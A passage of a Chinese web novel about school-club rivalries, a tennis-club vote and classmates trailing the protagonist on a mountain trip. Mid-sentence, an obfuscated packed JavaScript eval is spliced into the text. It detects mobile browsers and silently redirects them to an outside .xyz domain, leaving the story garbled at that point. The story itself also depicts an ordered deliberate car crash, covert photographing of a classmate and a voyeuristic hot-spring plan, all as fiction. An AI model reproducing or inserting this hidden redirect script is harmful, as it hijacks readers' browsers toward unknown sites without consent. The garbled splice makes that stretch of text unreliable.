“告诉时野后他会生气,会闹事。” 温绒努力用自己贫瘠的管理知识想了想,组织语言回答:“我觉得能被大多数人支持的人都很厉害,就像我小学的大队委,成绩跟人缘都特别好,我一直很羡慕她们。现在给时野投票的人多,说明大家更喜欢时野,更愿意他当社长。咱们学校不是学习联邦事事民主吗?为什么要优先考虑管理的问题?继续让不好的人当社长,只有社长开心,大多数社员都不开心,这样迟早也会闹事引发混乱。” …… 别墅内一片寂静。 以往所有人都聚在客厅吃吃喝喝打闹,此时一个都不敢吭声。 砰砰砰 掉在天花板上的沙袋几乎变形,中间深深凹进去。 缠手带隐隐染上红色,管家不得不上前制止,“少爷,你手受伤了。” 时野重重打下最后一拳,沙袋上留下三块血点。 “少爷……” 时野大吐一口气,转身到旁边拿水灌进嘴里。 管家趁机蹲下要解缠手带,时野发觉,把人扶起来,“我自己来。” 他咬开腕上的结,将缠手带一圈一圈绕开。 管家凝重的面容终于松懈,向后招了招手,医生拎着医药箱来帮时野处理伤口。 摩擦破皮,肉都翻出来,医生稍不注意血就滴到地板上。 时野好像感觉不到痛,任由管家把毛巾搭在他头上帮他擦汗。 等一只手处理好伤口,换只手时,时野终于稍稍回神,坐到沙发上,接过管家的毛巾盖住脸。 众人面面相觑,不知道这样的死寂要持续到多久。 最后所有目光聚焦到跟时野关系最近的齐元身上。 “想想办法啊。” 每个人的眼神都如是说。 齐元面露难色。 他能有什么办法? 顺风顺水的时大少爷,因为天赋异禀,在任何道路上都没有失败过,他甚至不敢回忆投票结果出来时时野的表情。 赵泽阳好死不死,走出办公室时还嚣张撞时野的肩膀,“唉,有些人就仗着家里的势力作威作福,其实连个屁都不是。” 齐元都怕时野当场打人。 “这对我们不公平!明明之前就说好了以新生申请入社的人数为准,忽然说要匿名投票,根本就是偏向赵泽阳。” 不知道是谁勇敢开了头,其他人开始激动起来。 “对!学生会一定在包庇赵泽阳,我们要向校方起诉学生会。” “还有赵泽阳,拽什么拽。” “都怪特招生,要不是他害网球社招新终止,我们也不会——” 时野一脚蹬开椅子,刺耳的刺啦声强制所有人安静下来。 “输了就是输了,没什么不敢承认的。别搞举报投诉甩锅那一套,依照规定新网球社现在解散。” 咚咚咚 众人来不及挽回,轻轻的敲门声在这个时候响起。 21. 第 21 章 开门这种事轮不到别墅里的任何一个学生去做,听到声音不过是恰巧,谁都没管。 时野继续说:“今天就到这里,散了。” “时哥,我们不能散,按正常比我们根本不会输。要不是特招生打晕赵泽阳,怎么可能终止招新。” 时野压着眉寻找说话的人,抬手选中,扭头吩咐管家,“记住这个人,以后不要放他进来。” 那男生愣住,“什、什么?” “脑子被狗啃了?这件事跟特招生有半毛钱关系?” 男生喃喃,“我又没说错。” 齐元:“时哥,他就是心急,别因为一点小事伤了和气。” 末了,又敏锐察觉时野在帮温绒说话,紧盯着时他的脸补充一句,“时哥是觉得特招生无辜吗?” “废话。” 齐元没想到时野这么坦然,本能迫使他旁敲侧击,“时哥你好像对特招生改观了。” 时野不反驳,起身拽着男生的领子扯到跟前,“特招生当网球社社长了吗?” 男生慌张摇头。 “他参加投票了吗?” 男生继续慌张摇头。 “一直把矛盾转移到跟赵泽阳有仇的人身上,你什么时候给赵泽阳当狗了?” 男生:“时哥我我我没有。” 时野甩开他,“滚,别让我再看到你。” 男生灰溜溜跑走,众人惊醒。 “时哥说得对,投票这件事跟特招生完全没关系,这人好像一直在提特招生。” “确实有问题,我感觉其他人也有问题。我们八十几个人,怎么时哥只有四十几票,赵泽阳有五十几。” “应该有人眼馋GMI,跟赵泽阳私下联系。” …… 逐渐喧闹的议论声里,齐元跟管家的声音一同响起。 “时哥,我刚才只是好奇。” “少爷。” 齐元自觉闭嘴,管家走到时野旁边,手挡着嘴耳语说了句话。 怒火冲天的时野听完后明显愣住了,转身拿毛巾在脸上迅速擦过,跟京剧换脸似的,神色瞬间恢复自然。 随即他跟管家低声说了句没人听得清的话,一边用手拨弄头发,一边朝别墅后门走。 齐元想追上去继续解释,管家拦住他,“夜深了,我让司机开车送您。” 安保室 温绒拘谨坐在沙发三分之一的位置,捧着安保大哥给的水,因为空气太安静而时不时抿上一小口。 “小同学,你别担心啊,运气好的话等会儿你就能见到少爷了。” 温绒:“……” 我就是怕见到他! “我只是送个箱子过来,箱子放在您这里,等会儿能不能帮忙转交给他。” “不行的不行的,小同学我做不了主,等少爷回话吧。” 温绒蔫了。 说把投票箱给时野,温绒以为是学长跟自己一起行动,结果学长的意思是他、自己、去。 别墅里那么多人,根据前两次的教训,温绒知道进去绝对是自寻死路,所以他想到一个折中的办法:把要说的话写纸条上,连带着投票箱一起放到大门口等时野自己发现。 计划失败的原因是他太无知了,根本不知道别墅里竟然有安保,刚靠近大门就被安保大叔带过来“听候发落”,走也走不掉。 好消息是大叔人不坏,还给他接温水喝。 坏消息是这次不知道又要做什么奇怪的事才能脱身。 咔擦 听到动静,温绒“唰”一下站起,神经紧绷地望过去。 时野低头穿过对他来说并不宽敞的门,抬手将灰色头发全数抹到脑后,嘴角带笑,看起来心情不错。 温绒松了口气。 “少爷,这位小同学带着个箱子来找您。” 时野:“以后不用管他,就他那身板打得过谁。” 安保人员顿了下,“好的少爷,我去给您朋友接杯水。” 时野侧身让安保出去。 砰 门重新合上。 墙面上的九张屏幕正播放着整栋别墅各个角落的实情,刚才温绒被“逮捕”的大门涌出人群,陆陆续续朝外走。 他们走去的方向停着一辆老爷车,莱昂学长在驾驶座上等他。 “你大晚上来找我干嘛?” 温绒听到声音,才想起来正事,“给你送投票的箱子。” 时野搓了搓脖子,低头压下嘴角,“那种破烂也值得特地跑一趟?” “不是破烂。” “垃圾桶?” “是你跟赵泽阳投票用的箱子。” 时野沉默地用舌尖顶了下腮帮子。 “我看了票根,其实写你名字的票根比他多,现场可能有一些——” 温绒认真解释着,没注意到他脸上的笑意逐渐消散。并且,他打断他,“你是说,其实我的票数更多?” 温绒抬眼正看见时野眸子里闪过锋利的冷白,像月亮在刀上留下的一道寒光。 他情商不高,但在感受杀气方面很有经验——时野现在气炸了。 苍白的指节用力蜷缩,纸杯吭哧吭哧作响。 温绒不断在心里暗示自己,我是来做好事的,这件事跟我没有任何关系,我还有1点积分可以保命…… “说话。” 温绒紧紧盯着时野不敢动眼珠子,脑袋缓慢上下摆动。 “确认吗?” “你是89票,他是11票。” 时野脸色猝然剧变,转身一拳打在门上,“艹!” 由于太过用力,手臂看起来比刚才更粗,背心描出肌肉的起伏。 “艹!” 他又骂一声,拳头抵着门下滑,残留三条促目惊心的血痕。 虽然很多时候温绒都无法理解时野的行为,比如让他骂他、打他,但此刻温绒猜得到时野拿拳头砸墙的心情,每次自己遭到不公平待遇的时候也要用力掐身上的肉才能中和掉那种痛苦。 温绒慢慢挪到沙发后面蹲下,让自己跟暴怒的时野之间至少有阻隔物,才有点勇气劝说:“你别太难过,比起建立一个新网球社,或许换掉网球社的社长更容易。你要不要尝试一下。” “你懂什么。” 时野血淋淋的手摸进运动裤口袋,莫名其妙又骂了句“艹”,回头想找温绒要手机打电话骂周谢,恍然看见四处无人,沙发后面冒出半颗脑袋。 头发乌黑,眼眶眼镜,牛皮沙发也是黑色的,衬得皮肤惨白惨白。 “你躲在那干嘛?” 温绒眼睛都要躲到沙发下面去,“我……我理解你现在心情不好,但你有点凶,我怕你揍我。” 时野奇怪道,“我揍过你吗?” “开学那天,你踢我屁股。” “……” “第二天你又踢。” “……” “所以你是揍过我的。” “…………” 空气沉默得可怕。 时野像个泡了水的炮仗,完全燃不起来了,还很茫然。 我揍过吗? 好像……这么说的话,算、算吧? 那该怎么办?我揍过他了。 时野用力搓头发,甚至因为太烦恼,把自己要打电话骂周谢的事情彻底抛到脑后。 早知道当时就不踢他屁股了。 不是,他一直都在意这件事吗?还能数得出第一次第二次。 莫名的沉默令时野烦透了,破罐子破摔,“我让你踢回来行吗。” 温绒用力甩头,由于躲得太靠下,只能看到头顶旋转。 “屁股够不到的话你打我一拳?这次是胸口,还是肚子?或者你咬我?” “不要。” “你不是说我揍过你吗?为什么不要。” 温绒小心摸出手机,屏幕上的光映在眼镜片上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14769231|157812||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,“我可以走了吗?” 时野抬脚抵住门,“说为什么不要再走。” “……” “说啊。” 这个“说啊”勾起温绒被锁喉的不愉快经历,莱昂学长讲的东西在脑子里过一圈,他有了些勇气,小心输入110,手指悬在拨打语音的按键上,再增加一些勇气。 “喂——” 温绒充能完毕,认真询问:“你老让我骂你打你,是希望我原谅你吗?” “什么?” 时野再一次愣住了。 这什么鬼问题? “我……我好像不是心胸开阔的人。因为我已经揍过赵泽阳了,但我到现在都没原谅他。” 温绒迟疑又艰难地形容他的想法,不那么准确,但时野懂了。 同理,就算我踢你打你骂你,我也不会原谅你当初欺负过我。 他在脑子里为温绒补充完整这句话。 唇间泄出笑声,有些怪异,又难以自控。 温绒怎么这么呆? 连“我永远不会原谅你”都说不出来,还要具体举个实例让别人总结中心思想? 可是有实例又比任何概括的说法更真实,像山挡在面前一样具体。 时野笑不出来了,胸口莫名发闷。 他本能地给自己找补。 我在求温绒原谅? 怎么可能,只是觉得窝囊废发脾气很新奇,很有意思。 视线不经意间瞥到投票箱,时野胸膛顶起,“那为什么大晚上给我送投票箱,还数我得到了多少票。” “是周会长让我来的。” “他让你来你就来?你那么听他的话?!” “也……不是,他让我自己选要不要告诉你这件事。” “你不是不‘原谅’我?你告诉我这件事干嘛?” 时野嘲讽地笑了声,自己都没发现自己正全神贯注地望着温绒,隐隐期待。 ——不原谅我,为什么又要帮我? ——你敢诚实说出原因吗? “我只是在揭露不公平待遇,跟我讨……不喜欢你不是一回事。” ——不喜欢你。 仿佛回到投票结束时,赵泽阳撞开他的肩膀。 不顺心的事很多,开学前着手准备的社团办不起来,论坛上的发言,赵泽阳挑衅,周谢使绊子……他十分钟前把这些都忘记了,在管家说“温绒找你”的时候。 现在这团压下去的火气腾一下烧得更大更旺,几乎把他身体烧干,拳头握不紧,连砸墙转移疼痛都做不到。 血顺着指缝滴答滴答落在地上,仿佛能听得见痛苦的叫嚣。 好想,把那颗脑袋拔出来狠狠捏在手里。 或者用力亲一亲。 时野猛然一抖。 心绪纷乱。 他在想什么? 他又不是变态。 而且他俩都是男的。 时野调整呼吸,一把拉开门,“我让司机送你回宿舍。” “我可以走了吗?” “嗯。” “我、我我自己回去,” 拒绝他? 应该的,因为他不喜欢他。 时野上下牙用力咬紧,摩擦出贯穿耳骨的滋啦声。 随后他双手背到身后,退到墙边,“你走吧。” “真的?” “滚!” 温绒从沙发后面窜起,一溜烟跑出去,甚至脚步声越来越急,从来没有停。 大多数人都离开别墅了,寂静也有声音,像是一种很低频的轰鸣,节奏比心跳快,听得人越发焦躁难安。 “艹!” 时野踢翻投票箱,选票全数从盖子里涌出。 一只千纸鹤滚出来,翅膀上有字,圆圆的,每个笔画都带着弧。 时野耐不住好奇拆开。 大家都支持你当社长,你很厉害。 ——外星人 50-60 第51章 第 51 章 不要靠近温绒 这一周温绒已经能顺畅地写课后作业。 出游前一天, 他把作业提交到黒鸽后,坐在床上完成林启正学长颁布的任务。 博主:[爸妈不给我生活费还家暴我。] 温绒被“爸妈”两个字眼吸引,点进帖子。 正文内容: [今天给爸妈要钱被揍了。我不理解, 凭什么别人每个月都有1w生活费,我只有3千。] [他们这么穷就不该生我,把我生下来继承他们的贫穷吗?] 由于言论过于奇怪,底下非常多评论: [大学生3千一个月绰绰有余,看你之前的帖子,你把生活费全投给擦边女主播了耶。] [你爸妈没打死你还是太善良了。] 温绒也觉得过分,选中这位博主为今晚的第一个目标。 分享《折磨父母的孩子是最没有良心的》 同时, 前几天发的评论得到了回复。 温绒起初被骂还有些不适应,但现在被骂多了,他彻底看开, 还高兴自己又完成一项任务,截图发给林启正“交作业”。 林启正:[……] 温绒:[学长,这样有什么问题吗?] 林启正望着对方骂的“大爷, 养老金别拿来上网了,去陪老太太跳广场舞说不定还能得个老伴”, 无言几秒,才回复:[没问题,你把知识发扬光大的样子已经让对方学会尊老爱幼了。] 他现在已经对这些视频免疫了,唯一的期望就是温绒别把这些视频发给时野跟莱昂, 要是他俩不堪其忧发现这一切的起因是自己,自己真的会完蛋! [学长,我看到有一个视频,你要看看吗?] 不看。 好想盗了所有搞中老年诈骗的营销号。 最终…… 林启正:[看吧。] 温绒:分享《身体虚的人,爬山前一定要做这几件事》 林启正:[老幺, 我看起来很虚吗?] 温绒:[不虚,只是学长跟我一样瘦。山上离医院远,如果出什么事故很危险的。] 林启正:[说明命该如此,如果真的出什么问题就让我死了吧。] [放心,我找莱昂学长借了医药箱,他说里面有救命的东西,绝对不会死。] 这次实践活动在温绒跟三人讨论后,统一决定到校外爬山看日出。两天一夜,张麟友情提供房子,张锦程提供车。 周五上午,新闻社四人在100室碰面。 温绒背个双肩包,手里拎着个灰扑扑的箱子,戴个帽子,穿着过大的防风服,装备齐全得令三人都有些震撼。 林启正:“老幺,我们只是去爬区区一座海拔2000米的山,不是去攀登珠穆朗玛峰。” 温绒挠头,“衣服是莱昂学长给我的,他要我必须穿。” 林启正闭嘴了。 四人把包放到后备箱,坐上车时林启正发现温绒把灰扑扑的箱子放在膝盖上,又忍不住开口:“老幺,箱子就放后备箱去吧,怎么一直拿着。” 温绒解释,“我怕磕坏。” “这个材质一看就不容易坏。” “还是有点害怕,莱昂学长说这是他私藏的药品,丢了他会破产。” “你真带药了啊……”林启正妥协,“行吧,你要是累了拿给我,我帮你。” “嗯嗯。” 四人乘车离开弗罗里曼学院不到五分钟,成排的车鱼贯而出,在四条车道上你追我赶。 “开快点呀!”时竞在副驾驶着急催促齐元。 齐元无言,“时哥,安全最重要。我们不能闹出事故。” 他俩都是公众人物,出交通事故,事业就完蛋了。 “为什么今天那么多人都跑出来?早不出晚不出,还偏偏是这个时候。” 因为学生会里有人把新闻社去泡温泉的事情泄露了啊。 原网球社有个其他社交账号的群,后来赵泽阳退学,时野上任,这个群沉寂过一段时间,直到梁子力学天天发温绒cos米璐璐的日经贴,群里有人抱怨了句“一直说这件事,又不把照片拿出来”,众人仿佛找到一个落脚点,死掉的群重新复活,开始了对温绒的窥探。 比如课堂上隐蔽偷拍的模糊背影,食堂里假装自拍实际希望跟温绒一起入相的侧影…… 好巧不巧,齐元在群里。 得知新闻是要去泡温泉时,齐元感到震惊。 周谢也只是知道新闻社要外出,不知道是谁比周谢还神通广大,连温绒们要去哪都知道。 群里那些人知道温绒要去泡温泉也震惊。 [附近就只有那一个温泉吧?] [我记得那边是裸泡。] [卧槽?真的去泡温泉?] [裸泡?!!!!是可以看到女神不穿衣服那种吗?] “旁边那辆车都把温绒哥哥的车挡住了,你就不能超他吗?” 回忆到此结束,齐元专心开车,“距离太近了,超不了。” “万一跟丢了怎么办。” 就拿一个温泉,都不需要跟。 齐元没把心里话说出来,糊弄道,“没事,我有内部关系,就算跟丢了也能知道他们去什么地方。” 时竞终于不再吵着超车,齐元拉下车窗让风吹进来,正巧,旁边窜过一辆蓝色跑车,副驾驶车窗降下,郝然是网球社的人。 “齐元,开这么慢呐?”风声混着喊声传入耳朵。 齐元顿时一惊。 网球社的都来了,说明时野也知道这件事,他会不会来。 齐元了解时野,无论去哪都要开他那辆红色拉法的,观察后视镜确定没有红色熟悉的车,默默松了口气。 那声音继续:“哦,原来是因为车上有个小朋友,你慢点啊。” 靠! 齐元忙不迭把车窗合上,一边专心开车一边祈祷时竞没有听到刚才的话。 车内沉默,空气都越来越稀薄,齐元有种呼吸不畅的感觉,正好下坡,前面的车速度减缓,齐元也同步放缓。 “他们也是特地跟着温绒的吗?” 声音过于冷淡,也没有喊温绒“哥哥”,齐元怀疑自己听错了。 “我问你,他们也是想跟温绒去同一个地方吗?” 齐元:“应该不是吧。” 时竞眼底骤冷,“撞上去。” …… 啪 灰色头发湿漉漉地贴着脸颊,汗液顺着下巴滴在草地上,悄无声息地消失。 时野抬手随意一抹,转了转手里的网球拍,“继续。” 时隔许久,这个私人网球场终于被启用,竖纹草地上落满晶绿的网球,佣人来不及捡,只能推着一篮又一篮的网球进门。 球场对面的陪练已经满头大汗,犹豫地望向球场旁边——坐在教练椅上的西装男,时野的专属网球教练,王西杰。 王西杰抬手示意暂停,“今天的训练到此结束。” “我还要练。” “先查一下你现在的身体状况。” “不用,我现在很好。” 时野握着网球拍活动手腕,双腿叉开做出预备接球的动作。 “你现在的状态不好。你已经连续训练将近12个小时,再练下去身体机能会出问题。” 管家举着手机进来打断剑拔弩张的两人,“少爷,周谢给您打电话。” 时野蹙眉,“不接。” “李奥已经打过一次了,周谢又亲自打电话过来,可能有急事。” 时野迟疑地望向手机,最终把网球拍递给佣人,伸手接过,“什么事?” “网球社的人在校外5公里的位置发生了追尾事故,你过去一趟。” “什么时候轮到你来安排我了,自己找交警。” “过错方是时竞。” 时野被气笑,“你觉得我会为了他过去?” “他们都是为了追新闻社的四个人。” 新闻社…… 温绒。 时野胸口一窒,有种呼吸困难的感觉。 周谢:“听说新闻社准备去去泡温泉。” “那又怎么,” “一群人光着身子泡在池子里,应该很好看吧。” “……” 时野沉默着挂断电话。 他到桌子上拿瓶水灌进嘴里,液体顺着喉咙流进胃里,冰凉的感觉逐渐取代肌肉散发出的热量。 冷静下来,脑子里无端蹦出句“心里没点数,不知道自己被多少人觊觎么,就敢跟一堆男的泡温泉?” 时野放下水瓶,又想,莱昂都不介意我烦恼什么。 “少爷,周谢好像又打电话……少爷你去哪?” 等时野回过神,车钥匙已经握在手里。 他用力搓了搓头发,心里两个小人天人交战。 一个说:不是,我到底在做什么?说好了要把温绒忘掉,现在又巴巴找上门? 另一个说:莱昂可能不知道温绒跟其他人去泡温泉,我去阻止他跟其他人“坦诚相待”也是帮莱昂。 时野跳上车,一脚踩上油门。 今天外出的车莫名地多,时野心情烦躁,到快车道加大马力。 路面广阔,没多久时野看到前方停着撞在一起的蓝色跑车跟黑色SUV。 路边,一堆人吵架。 时野本打算直接开走,余光一瞥看见全都是网球社的人,出于社长的本能,脚踩下刹车。 红色拉法动静不小,很多人早就注意到了他,只是见他停下来都有些震惊,纷纷走上前,“社长你怎么来了。”“社长今天也要出去吗?” 很多很多话迎面砸来,时野的注意力转移,热烈的情绪骤然平静。 一个小人成功刺杀另一个,他下定决心:无论有什么理由,都不能去找温绒。 “你们要出去?”时野问。 众人尴尬,而后点头,“嗯嗯,周末约着一起出去玩。” “那怎么还停在这里。” “这不是追尾了吗。这车保险公司不给包,修理全自费。那个时竞根本听不懂人话,张嘴就是他们没错。” 时野感到诧异。 在他的认知里,时竞是那种无论何时何地都要装出一副讨人喜欢的天真样子,忽然这样直接了当地胡搅蛮缠,不像他。 是为了温绒吗? 时野搓了搓头发,“我来处理。” 众人:“这……这不好吧。”“社长你有事你先走,我们可以处理的。” “没事。” 时野很少这样主动揽别人的事到自己身上,但这一刻他觉得必须这样做。 一定要继续有点事情来转移注意力,这样转移久了,身体就不会想去找温绒。 时野回头问齐元,“你们打算怎么处理?” 本来就不想闹大事情的齐元连忙低头闪躲,“对不起,时哥,是我的问题。” 旁边时竞不满,“明明——” 齐元一把捂住他的嘴,“对不起时哥,修车多少钱我来赔。” “这些话刚刚怎么不说?” 齐元尴尬一瞬,连忙摁着时竞一起道歉,“刚刚在气头上,对不起。” 时野不表态,齐元连忙转向网球社其他人:“对不起兄弟,刚才我没控制住脾气,真的不好意思。” 齐元这样放低姿态,网球社众人也不好意思起来,毕竟以前都是一块儿玩的。 两边互相道个歉,事情算是解决,忙不迭驱车离开。 公路上风吹得头发支棱起来,时野从车里摸出烟,点燃。 尼古丁浸入血液,烦躁的心绪得到物理平复。 时野埋头轻笑,肩膀颤抖。 最后还是按照周谢的安排走了。周谢死死抓住温绒这个软肋让他来解决问题,帮助网球社这些人跟时竞更快地追着温绒去温泉。 到时候所有人齐聚在温泉里,画面该多好看? 温绒一定会张大嘴巴:“啊?大家为什么都在”,然后毫不在意地走下池子,尽管所有人迷恋的目光都在他身上,他也不在意。 不,不是不在意,是他那个大傻子肯定察觉不出来。 蠢直男! 心口慢慢热起来,时野不知道,自己不经意间提高了嘴角。 可是笑容并没有持续多久。 时野想到温绒和自己的那些八卦。 他在蓝书收到许多祝福,气氛被烘托到他真的在跟温绒谈恋爱似的。 可是他又无比清楚那些都是胡编乱造。事实一直都很明显,温绒并不喜欢自己,甚至发中老年的诈骗视频来暗讽自己情绪化。 温绒喜欢的是莱昂。 尼古丁的效果减弱,时野胸口闷痛,仿佛胸膛的肌肉都撕裂开来,跳动声伴随着急切的呼救。 他抬手捂住脸,风很大,往眼眶里一吹,干涩得要命。视线所及的地面上,枯叶也被吹得很远很远。 “时野。” 不知道过了多久,背后突然传来女人的声音。 时野抹一把脸,回头看见红色拉法前停了一辆车,车窗泄出一头金色的长卷发,“你在这里干嘛?” 时野张了张嘴,说不出话,只举起烟示意。 伊芙琳手搭在车窗上,“一块儿去玩吗?” 时野想,去吧,去做点其他的事转移注意力。 这些天他只要停下来就会不断地刷蓝书、黒鸽、点开温绒的个人信息,明明知道不能这样做,但还是失控。 他把烟丢进垃圾桶,到车边,看见开车的是个用夹子盘头的干练女生,有些犹豫,“就你们俩?” “当然还有其他人,不然她才不愿意跟我单独出来。” “去哪?” “爬山,打算看日出。” 第52章 第 52 章 好巧 [他们进了绿城壹号, 保安不让我进去。] [他大爷的,早知道当初就把房子买在这边了。] [我可以进我可以进,前面的兄弟让路。] [好兄弟, 带我一个。] [我也要,我也要。] 网球社群内众人聊得热火朝天,在有人忽然提出[他们真的要去泡温泉吗?现在这十几度的天气……]时,一个id叫“艹”的账号跳出来: [穷人没进过温泉,当然不分春夏秋冬想去体验一下。我找老板查了,新闻社四个人要晚上六点后进去,夜里留宿。] 如果有人细心一点, 就会发现“新闻社要去泡温泉”这件事,也是“艹”在群内提出的,在有人质疑时, 也是他跳出来反驳。 十二点,钟楼响起“铛”的一声,白鸽惊飞。 李奥手里的Pad打开, 屏幕上显示网球社的群聊。 随着“艹”不断催促所有人预定温泉,他的眉头皱起来, “这些人为什么这么好骗?” 鸽影在镜片上划过,周谢薄唇轻抿,勾出弯弯的弧。“不要小看莱昂煽风点火的能力。” 在把新闻社要出去实践的消息顺利外传没多久,忽然有风声说新闻社要去温泉。 这就有些意思了。 有人在周谢放出去的消息里面添油加醋, 偏偏还是需要脱光衣服下池子的“温泉”,彻底扩大了新闻社有外出实践活动的诱惑力。 李奥追根溯源,找到这个网球是群聊中顶着“艹”的账号, Ip一查,精准定位到莱昂身上。 “他不是在忙军……”顿了下, 李奥换个说法,“他最近这么忙,还有空做这些吗?” “不止莱昂,我刚才打电话去别墅,管家说时野不在。” 李奥了然,电话里拒绝归拒绝,时野还是依照周谢的安排行动了。 又好奇,“那个特招生究竟有什么魅力。” “大概对平民有一点好奇吧。” 周谢伸手推开窗,不屑的声音顺着风扩散- 秋天日出晚,四人晚上三点出发,四点抵达山下。 周末,人不少,张锦程担起社长的责任去排队买票,温绒因为衣服重背包重站在原地等待。 无聊之际,他摸出手机查爬山注意事项,看到一条记一条,没注意自己身边不知道什么时候围了几个女生。 “他就是那个弗罗里曼学院的特招生吧?” “绝对是,这脸跟照片上一模一样,漂亮死了。” “他好高啊,照片上根本看不出来。” “不知道能不能跟他合影。” “想去就去,能把人从水里救出来的小男孩应该很好说话。” “可是我……欸,别推我呀。” 温绒手机被黑影撞一下,下意识伸手。 借力站稳的女生不好意思地道歉,“对不起,对不起。” “没有关系。”温绒收回手继续看手机。 女生没走开,站在原地犹豫着问:“请问……你是温绒吗?” 温绒一愣,连忙把手机放进口袋里打招呼,“你好。” “真的是你呀!我在蓝书上看过你,我是你的粉丝。” 女孩子低着头,一边说一边抬眼偷瞄他,在这样寒冷的清晨,脸颊微红,好像在发烫。 温绒读懂她脸上的害羞,想到蓝书上的“宝宝”“老婆”……他真切地认同莱昂学长说的,网上跟现实里的交流方式是不一样的。 女孩子说她是自己的粉丝,拿自己该怎么回复她呢? 温绒没有被礼貌“示好”的经验,有些犯难,脸上不经意间露出烦恼的表情。 女孩顿时有些慌,“是不是打扰到你了?” 旁边林启正往温绒脸上一瞥就知道温绒在思考,凑上来缓和气氛,“诶呀,没有打扰,他只是比较呆。小姐姐需要合影吗?” “可以吗?”女孩迟疑地问。 “当然可以。” 林启正说完,张麟望一眼女孩身后的其他人,出主意:“你的朋友们要一起吗?我们马上要上山了,可能来不及一个一个合影,要不所有人都一起拍。” 女孩回头得到朋友的摇蒜式肯定,再一次点点头。 林启正拍温绒的肩膀,“老幺,别想了,跟你的粉丝合个影。” 温绒神思归位,抬眼看见三四张女孩子的脸,受宠若惊地被她们簇拥在正中间合影。 合完影后女孩子从手腕上摘下一只红色的手绳递给温绒,“这个给你,是我编的手链,祝你学业有成。” “不用不用。” “拿着!这是妈……这是我对你的祝福。我也好想读弗罗里曼学院的,可惜考不上,我超级羡慕你能进去读的,所以希望你以后能好好学习有大好前途。而且你刚不是跟我们合影了嘛,也算是谢礼。” 温绒还要再拒绝,林启正帮他收下,“谢谢,我替老幺谢谢你的好意。” “不用谢。我先上山啦,拜拜。” 温绒心头一暖,忍不住鞠躬,“谢谢你。” 好巧不巧,腰一弯硕大的背包撞到了人,连忙转身道歉,“对不起。” “……” 对方穿着跟温绒一模一样的冲锋衣,尺寸正好,不像温绒穿起来像小孩子穿大人衣服。 也把帽子翻起来戴在头上,只露出凌厉的五官。 时野发现撞衫对象是温绒,瞳孔骤然紧缩,“你怎么在这。” 温绒表情茫然,“我们社团出来爬山啊。” “不是去温泉吗?” “什么温泉?” 时野的视线从温绒挪到林启正跟张麟身上。 时野在弗罗里曼学院所有学生的眼里形象类似于疯狗,见谁咬谁很不好惹,但上次在时野别墅吃过小龙虾后,林启正胆儿肥了,不仅不躲,还调笑,“小学弟你怎么也来爬山了?我看一个月后有公开赛,还以为你忙着……” 话还没说完,时野身后冒出一头金色的长发,“好巧呀,温绒。” 湛蓝色的眼睛令温绒莫名一怔。 他才发现伊芙琳跟莱昂学长不愧是表兄妹,不仅头发颜色跟眼睛颜色一样,就连五官都是一样的标致。 刚才某一瞬间,他都以为莱昂学长跟时野哟起来了。 伊芙琳:“你们也来爬山吗?稚月天天闷在教室里,我带她来体验下大自然。” 蒋稚月默默从时野的另一边走出来,“这就是你说的……” 伊芙琳抬手搭上蒋稚月的肩膀,脸蛋贴上去,“宝宝,见到温绒不开心吗?” 温绒感觉有点怪,但又说不出来哪里奇怪,肩膀被戳了戳,林启正小声跟他说:“你什么时候认识这么多美女了,怎么也不介绍给学长。” 温绒小声回复:“学长,不能介绍给你,她们是情侣。” “心碎了。”林启正失望地扶额,恰好张锦程回来,看到时野以及两位不认识的美女,又看向温绒,“我是不是票买少了?” 时野转身走,“不用,你们先上山,我们自己买票。” 学校里很多人个子都高,把时野衬托成普通人,但他一走进乌泱泱的买票大军,就鹤立鸡群般的显眼,有种巨人行走在小人国的感觉。 温绒收回眼,出于礼貌,跟蒋稚月说话,“好巧,你们也来看日出吗?要不要跟我们一起上去?” 蒋稚月摆手,“不用,你们先上吧。” “好,那你们爬山的时候注意安全,如果有需要就打我电话,我背了医药箱。” 说完温绒正准备跟学长们上山,背包忽然被向后一扯,冷冰冰的声音传进耳朵,“把你的医药箱给我。” 时野不知道什么时候去而复返,脸上表情不怎么好看。 温绒下意识拒绝,“不行,这是莱昂学长给我的。” “就你这身板,背那么多用不上的东西,刚到半山腰就要去医院。” “我……”温绒被他说得有点生气,可是时野表情真的很凶,堪比报道那天,他又不敢硬碰硬,小声嘀咕,“我也没有弱到那种程度。” “要不给他吧,反正他们也要上山,需要的时候打个电话很快就到。而且时野背这点东西爬山没问题,老幺你……”张麟斟酌一下措辞,“你第1次爬山经验不够丰富。” “对对对。”林启正附和。 在所有人的劝说下,温绒把医药箱交给了时野,跟随新闻社其他三人上山。 起初还好,半小时后谁都说不了话。四个人都不是爱运动那一类,林启正跟温绒更是凄惨,一个技术宅,一个书呆子,差点身体力行用双手撑地“爬”山。 系统建议温绒兑换商品,温绒婉拒了,他有很久没有触发任务,积分不能随便用在这种地方。而且爬山是自己要来的,他想靠自己爬上去。 好在温绒没有太专注于爬山这件事,身体疲惫的时候,他的思绪总莫名其妙飘到时野身上。 他觉得今天的时野有点怪。 无论是发脾气还是奇奇怪怪,或是那天有点坏的要让他去网球社,时野的表情都没有像今天这样冷淡。 而且温绒发现自己也不是单纯因为学长而站在时野这边了。 可能是因为时竞真实地出现在面前,还引起了不少麻烦,温绒忽然觉得时野是个还不错的人。 细想起来他跟时野的关系一直很复杂,有很讨厌的时候,比如报道那几天,也有融洽的时候,比如一起合作让赵泽阳退学,比如时野竟然跟他道歉。 时野叫他去网球社时温绒其实有些生气的,但后来回想,又感觉到时野很大方,网球社社长的位置来之不易,时野竟然让自己这种网球拍都没摸过的人当副社长,看得出来是真心想要补偿了。 “啊,老幺。” 肩膀一重,林启正扒拉在温绒的背包上大口喘气,“累死我了。” 温绒驮着他站到边楼梯边,从包里拿出袋东西递过去,“莱昂学长说累了的话就喝这个,我刚才特地留了四袋。” “谢谢,谢谢。” 林启正久旱逢甘霖,撕开包装袋往嘴里一灌,酸甜的味道从舌尖散开,瞬间精神清明,浑身起劲。 